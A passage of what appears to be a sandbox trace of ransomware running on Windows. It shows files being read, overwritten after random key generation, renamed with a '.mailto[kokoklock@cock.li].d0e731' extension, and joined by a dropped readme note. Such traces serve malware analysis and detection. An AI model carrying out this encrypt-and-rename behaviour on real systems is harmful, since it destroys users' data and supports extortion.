Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\D0E731-Readme.txt" [0082.757] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\d0e731-readme.txt")) returned 0x20 [0082.757] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3494a58) returned 1 [0082.757] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348ae78) returned 1 [0082.757] RtlExitUserThread (Status=0x1) Thread: id = 1124 os_tid = 0x136c [0082.761] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\masterdescriptor.en-us.xml")) returned 0x20 [0082.763] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml", dwFileAttributes=0x20) returned 1 [0082.763] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\masterdescriptor.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x668 [0082.764] GetFileSizeEx (in: hFile=0x668, lpFileSize=0x27f3f79c | out: lpFileSize=0x27f3f79c*=22095) returned 1 [0082.764] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0x564b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.764] ReadFile (in: hFile=0x668, lpBuffer=0x27f3f770, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x27f3f76c, lpOverlapped=0x0 | out: lpBuffer=0x27f3f770*, lpNumberOfBytesRead=0x27f3f76c*=0x4, lpOverlapped=0x0) returned 1 [0082.765] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.765] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cfb0 [0082.765] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cf10 [0082.766] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d118 [0082.766] NtQuerySystemTime (in: CurrentTime=0x27f3f748 | out: CurrentTime=0x27f3f748*=132121176406643131) returned 0x0 [0082.766] RtlRandom (in: Seed=0x27f3f754 | out: Seed=0x27f3f754) returned 0x4acbc934 [0082.766] RtlRandom (in: Seed=0x27f3f754 | out: Seed=0x27f3f754) returned 0xddb5f310 [0082.766] RtlRandom (in: Seed=0x27f3f754 | out: Seed=0x27f3f754) returned 0x7e8619d5 [0082.766] RtlRandom (in: Seed=0x27f3f754 | out: Seed=0x27f3f754) returned 0xc81033c5 [0082.766] RtlRandom (in: Seed=0x27f3f754 | out: Seed=0x27f3f754) returned 0x3cca16bb [0082.766] RtlRandom (in: Seed=0x27f3f754 | out: Seed=0x27f3f754) returned 0xd2e34324 [0082.766] RtlRandom (in: Seed=0x27f3f754 | out: Seed=0x27f3f754) returned 0x8fcf185f [0082.766] RtlRandom (in: Seed=0x27f3f754 | out: Seed=0x27f3f754) returned 0x8aef4ac [0082.766] RtlRandom (in: Seed=0x27f3f754 | out: Seed=0x27f3f754) returned 0x99edce97 [0082.766] RtlRandom (in: Seed=0x27f3f754 | out: Seed=0x27f3f754) returned 0x7d018b10 [0082.766] RtlRandom (in: Seed=0x27f3f754 | out: Seed=0x27f3f754) returned 0x9ca315f9 [0082.766] RtlRandom (in: Seed=0x27f3f754 | out: Seed=0x27f3f754) returned 0x3d7d086f [0082.766] RtlRandom (in: Seed=0x27f3f754 | out: Seed=0x27f3f754) returned 0x6ed58dc9 [0082.766] RtlRandom (in: Seed=0x27f3f754 | out: Seed=0x27f3f754) returned 0x5cb353c4 [0082.766] RtlRandom (in: Seed=0x27f3f754 | out: Seed=0x27f3f754) returned 0xdc74d315 [0082.766] RtlRandom (in: Seed=0x27f3f754 | out: Seed=0x27f3f754) returned 0x56b87c2a [0082.766] RtlRandom (in: Seed=0x27f3f754 | out: Seed=0x27f3f754) returned 0x67e4428b [0082.766] RtlRandom (in: Seed=0x27f3f754 | out: Seed=0x27f3f754) returned 0x897d3c83 [0082.766] RtlRandom (in: Seed=0x27f3f754 | out: Seed=0x27f3f754) returned 0x996cd6f5 [0082.766] RtlRandom (in: Seed=0x27f3f754 | out: Seed=0x27f3f754) returned 0xbbe147bc [0082.766] RtlRandom (in: Seed=0x27f3f754 | out: Seed=0x27f3f754) returned 0xaf398470 [0082.766] RtlRandom (in: Seed=0x27f3f754 | out: Seed=0x27f3f754) returned 0x31af7516 [0082.766] RtlRandom (in: Seed=0x27f3f754 | out: Seed=0x27f3f754) returned 0x9afe6e03 [0082.766] RtlRandom (in: Seed=0x27f3f754 | out: Seed=0x27f3f754) returned 0xe0c3594b [0082.766] RtlRandom (in: Seed=0x27f3f754 | out: Seed=0x27f3f754) returned 0xf7111f7b [0082.766] RtlRandom (in: Seed=0x27f3f754 | out: Seed=0x27f3f754) returned 0x9f12bec6 [0082.766] RtlRandom (in: Seed=0x27f3f754 | out: Seed=0x27f3f754) returned 0x8afd0274 [0082.766] RtlRandom (in: Seed=0x27f3f754 | out: Seed=0x27f3f754) returned 0xe8556139 [0082.766] RtlRandom (in: Seed=0x27f3f754 | out: Seed=0x27f3f754) returned 0x721816df [0082.766] RtlRandom (in: Seed=0x27f3f754 | out: Seed=0x27f3f754) returned 0x17b0e9c9 [0082.766] RtlRandom (in: Seed=0x27f3f754 | out: Seed=0x27f3f754) returned 0xf04d78f3 [0082.766] RtlRandom (in: Seed=0x27f3f754 | out: Seed=0x27f3f754) returned 0x630f0fce [0082.777] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f9b8) returned 1 [0082.777] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cfb0) returned 1 [0082.777] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0082.777] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.777] ReadFile (in: hFile=0x668, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x27f3f720, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x27f3f720*=0x4096, lpOverlapped=0x0) returned 1 [0082.778] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.778] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd280 [0082.778] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347f940 [0082.778] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ce98 [0082.778] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ce98) returned 1 [0082.778] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0082.779] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342ce98 [0082.779] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d140 [0082.779] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d140) returned 1 [0082.779] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f940) returned 1 [0082.779] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd280) returned 1 [0082.779] WriteFile (in: hFile=0x668, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x27f3f720, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x27f3f720*=0x4096, lpOverlapped=0x0) returned 1 [0082.779] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0082.779] SetFilePointerEx (in: hFile=0x668, liDistanceToMove=0x564f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.779] WriteFile (in: hFile=0x668, lpBuffer=0x342ce98*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x27f3f758, lpOverlapped=0x0 | out: lpBuffer=0x342ce98*, lpNumberOfBytesWritten=0x27f3f758*=0x20, lpOverlapped=0x0) returned 1 [0082.780] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ce98) returned 1 [0082.780] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0082.780] WriteFile (in: hFile=0x668, lpBuffer=0x342ce20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x27f3f76c, lpOverlapped=0x0 | out: lpBuffer=0x342ce20*, lpNumberOfBytesWritten=0x27f3f76c*=0x8, lpOverlapped=0x0) returned 1 [0082.780] WriteFile (in: hFile=0x668, lpBuffer=0x27f3f784*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x27f3f76c, lpOverlapped=0x0 | out: lpBuffer=0x27f3f784*, lpNumberOfBytesWritten=0x27f3f76c*=0x4, lpOverlapped=0x0) returned 1 [0082.780] WriteFile (in: hFile=0x668, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x27f3f76c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x27f3f76c*=0x4, lpOverlapped=0x0) returned 1 [0082.780] WriteFile (in: hFile=0x668, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x27f3f76c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x27f3f76c*=0x6c, lpOverlapped=0x0) returned 1 [0082.780] WriteFile (in: hFile=0x668, lpBuffer=0x342cf10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x27f3f76c, lpOverlapped=0x0 | out: lpBuffer=0x342cf10*, lpNumberOfBytesWritten=0x27f3f76c*=0x20, lpOverlapped=0x0) returned 1 [0082.780] WriteFile (in: hFile=0x668, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x27f3f76c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x27f3f76c*=0x4, lpOverlapped=0x0) returned 1 [0082.780] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cf10) returned 1 [0082.780] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cda8) returned 1 [0082.780] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342ce20) returned 1 [0082.780] CloseHandle (hObject=0x668) returned 1 [0082.780] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x124) returned 0x341da40 [0082.780] wcscpy (in: _Dest=0x341da40, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml" [0082.781] wcscat (in: _Dest=0x341da40, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml.mailto[kokoklock@cock.li].d0e731" [0082.781] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\masterdescriptor.en-us.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\masterdescriptor.en-us.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0082.781] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0082.782] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341da40) returned 1 [0082.782] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml", dwFileAttributes=0x20) returned 0 [0082.782] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd2) returned 0x3493e18 [0082.782] wcscpy (in: _Dest=0x3493e18, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\" [0082.782] wcscat (in: _Dest=0x3493e18, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\D0E731-Readme.txt" [0082.782] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\d0e731-readme.txt")) returned 0xffffffff [0082.782] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x668 [0082.783] WriteFile (in: hFile=0x668, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x27f3f768, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x27f3f768*=0x481, lpOverlapped=0x0) returned 1 [0082.784] CloseHandle (hObject=0x668) returned 1 [0082.784] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3493e18) returned 1 [0082.784] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347d7e0) returned 1 [0082.784] RtlExitUserThread (Status=0x1) Thread: id = 1125 os_tid = 0x1370 [0082.777] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\s641033.hash" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\s641033.hash")) returned 0x20 [0083.457] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\s641033.hash", dwFileAttributes=0x20) returned 1 [0083.863] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\s641033.hash" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\s641033.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x774 [0083.863] GetFileSizeEx (in: hFile=0x774, lpFileSize=0x27fbfa18 | out: lpFileSize=0x27fbfa18*=102) returned 1 [0083.863] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x62, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.863] ReadFile (in: hFile=0x774, lpBuffer=0x27fbf9ec, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x27fbf9e8, lpOverlapped=0x0 | out: lpBuffer=0x27fbf9ec*, lpNumberOfBytesRead=0x27fbf9e8*=0x4, lpOverlapped=0x0) returned 1 [0083.864] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.864] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d618 [0083.864] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d6b8 [0083.864] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d230 [0083.864] NtQuerySystemTime (in: CurrentTime=0x27fbf9c4 | out: CurrentTime=0x27fbf9c4*=132121176417579099) returned 0x0 [0083.864] RtlRandom (in: Seed=0x27fbf9d0 | out: Seed=0x27fbf9d0) returned 0xbe06ee84 [0083.864] RtlRandom (in: Seed=0x27fbf9d0 | out: Seed=0x27fbf9d0) returned 0x94654195 [0083.864] RtlRandom (in: Seed=0x27fbf9d0 | out: Seed=0x27fbf9d0) returned 0x757e0d2c [0083.864] RtlRandom (in: Seed=0x27fbf9d0 | out: Seed=0x27fbf9d0) returned 0xc9b32601 [0083.864] RtlRandom (in: Seed=0x27fbf9d0 | out: Seed=0x27fbf9d0) returned 0x150e1026 [0083.864] RtlRandom (in: Seed=0x27fbf9d0 | out: Seed=0x27fbf9d0) returned 0xb3c7d74 [0083.864] RtlRandom (in: Seed=0x27fbf9d0 | out: Seed=0x27fbf9d0) returned 0x804a5c10 [0083.864] RtlRandom (in: Seed=0x27fbf9d0 | out: Seed=0x27fbf9d0) returned 0xba105091 [0083.864] RtlRandom (in: Seed=0x27fbf9d0 | out: Seed=0x27fbf9d0) returned 0x408434db [0083.864] RtlRandom (in: Seed=0x27fbf9d0 | out: Seed=0x27fbf9d0) returned 0x59dbdc11 [0083.864] RtlRandom (in: Seed=0x27fbf9d0 | out: Seed=0x27fbf9d0) returned 0x65dc4807 [0083.864] RtlRandom (in: Seed=0x27fbf9d0 | out: Seed=0x27fbf9d0) returned 0xcc887e3e [0083.864] RtlRandom (in: Seed=0x27fbf9d0 | out: Seed=0x27fbf9d0) returned 0xa4e362b6 [0083.864] RtlRandom (in: Seed=0x27fbf9d0 | out: Seed=0x27fbf9d0) returned 0x6c2acfa1 [0083.864] RtlRandom (in: Seed=0x27fbf9d0 | out: Seed=0x27fbf9d0) returned 0xf5a35923 [0083.864] RtlRandom (in: Seed=0x27fbf9d0 | out: Seed=0x27fbf9d0) returned 0xc0d3b616 [0083.864] RtlRandom (in: Seed=0x27fbf9d0 | out: Seed=0x27fbf9d0) returned 0x232eb63d [0083.865] RtlRandom (in: Seed=0x27fbf9d0 | out: Seed=0x27fbf9d0) returned 0xec0546ca [0083.865] RtlRandom (in: Seed=0x27fbf9d0 | out: Seed=0x27fbf9d0) returned 0xdc976fa2 [0083.865] RtlRandom (in: Seed=0x27fbf9d0 | out: Seed=0x27fbf9d0) returned 0xacd80e12 [0083.865] RtlRandom (in: Seed=0x27fbf9d0 | out: Seed=0x27fbf9d0) returned 0x720ffc3d [0083.865] RtlRandom (in: Seed=0x27fbf9d0 | out: Seed=0x27fbf9d0) returned 0xa2268aa9 [0083.865] RtlRandom (in: Seed=0x27fbf9d0 | out: Seed=0x27fbf9d0) returned 0x9d176c2a [0083.865] RtlRandom (in: Seed=0x27fbf9d0 | out: Seed=0x27fbf9d0) returned 0x2c24fd77 [0083.865] RtlRandom (in: Seed=0x27fbf9d0 | out: Seed=0x27fbf9d0) returned 0xed07c479 [0083.865] RtlRandom (in: Seed=0x27fbf9d0 | out: Seed=0x27fbf9d0) returned 0x338be0f4 [0083.865] RtlRandom (in: Seed=0x27fbf9d0 | out: Seed=0x27fbf9d0) returned 0x4950f16 [0083.865] RtlRandom (in: Seed=0x27fbf9d0 | out: Seed=0x27fbf9d0) returned 0xc5f8e882 [0083.865] RtlRandom (in: Seed=0x27fbf9d0 | out: Seed=0x27fbf9d0) returned 0x92bd1c9f [0083.865] RtlRandom (in: Seed=0x27fbf9d0 | out: Seed=0x27fbf9d0) returned 0xc41e376c [0083.865] RtlRandom (in: Seed=0x27fbf9d0 | out: Seed=0x27fbf9d0) returned 0xe94bdbc3 [0083.865] RtlRandom (in: Seed=0x27fbf9d0 | out: Seed=0x27fbf9d0) returned 0x6cb3e033 [0083.876] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0083.876] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d618) returned 1 [0083.876] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0083.876] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480048 [0083.876] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d618 [0083.876] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d618) returned 1 [0083.876] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0083.876] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0083.876] ReadFile (in: hFile=0x774, lpBuffer=0x348d230, nNumberOfBytesToRead=0x66, lpNumberOfBytesRead=0x27fbf9c4, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x27fbf9c4*=0x66, lpOverlapped=0x0) returned 1 [0083.876] SetFilePointerEx (in: hFile=0x774, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x27fbf98c | out: lpNewFilePointer=0x0) returned 1 [0083.876] WriteFile (in: hFile=0x774, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0x27fbf9c0, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x27fbf9c0*=0x66, lpOverlapped=0x0) returned 1 [0083.876] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d258 [0083.876] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d280 [0083.876] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d280) returned 1 [0083.876] WriteFile (in: hFile=0x774, lpBuffer=0x342d258*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x27fbf9bc, lpOverlapped=0x0 | out: lpBuffer=0x342d258*, lpNumberOfBytesWritten=0x27fbf9bc*=0x20, lpOverlapped=0x0) returned 1 [0083.877] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d258) returned 1 [0083.877] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0083.877] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0083.877] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0083.877] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0083.877] WriteFile (in: hFile=0x774, lpBuffer=0x342d6e0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x27fbf9e8, lpOverlapped=0x0 | out: lpBuffer=0x342d6e0*, lpNumberOfBytesWritten=0x27fbf9e8*=0x8, lpOverlapped=0x0) returned 1 [0083.877] WriteFile (in: hFile=0x774, lpBuffer=0x27fbfa00*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x27fbf9e8, lpOverlapped=0x0 | out: lpBuffer=0x27fbfa00*, lpNumberOfBytesWritten=0x27fbf9e8*=0x4, lpOverlapped=0x0) returned 1 [0083.877] WriteFile (in: hFile=0x774, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x27fbf9e8, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x27fbf9e8*=0x4, lpOverlapped=0x0) returned 1 [0083.877] WriteFile (in: hFile=0x774, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x27fbf9e8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x27fbf9e8*=0x6c, lpOverlapped=0x0) returned 1 [0083.877] WriteFile (in: hFile=0x774, lpBuffer=0x342d6b8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x27fbf9e8, lpOverlapped=0x0 | out: lpBuffer=0x342d6b8*, lpNumberOfBytesWritten=0x27fbf9e8*=0x20, lpOverlapped=0x0) returned 1 [0083.877] WriteFile (in: hFile=0x774, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x27fbf9e8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x27fbf9e8*=0x4, lpOverlapped=0x0) returned 1 [0083.877] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d6b8) returned 1 [0083.877] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d2f8) returned 1 [0083.877] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d6e0) returned 1 [0083.877] CloseHandle (hObject=0x774) returned 1 [0083.878] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x108) returned 0x34226e8 [0083.878] wcscpy (in: _Dest=0x34226e8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\s641033.hash" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\s641033.hash") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\s641033.hash" [0083.878] wcscat (in: _Dest=0x34226e8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\s641033.hash.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\s641033.hash.mailto[kokoklock@cock.li].d0e731" [0083.878] MoveFileW 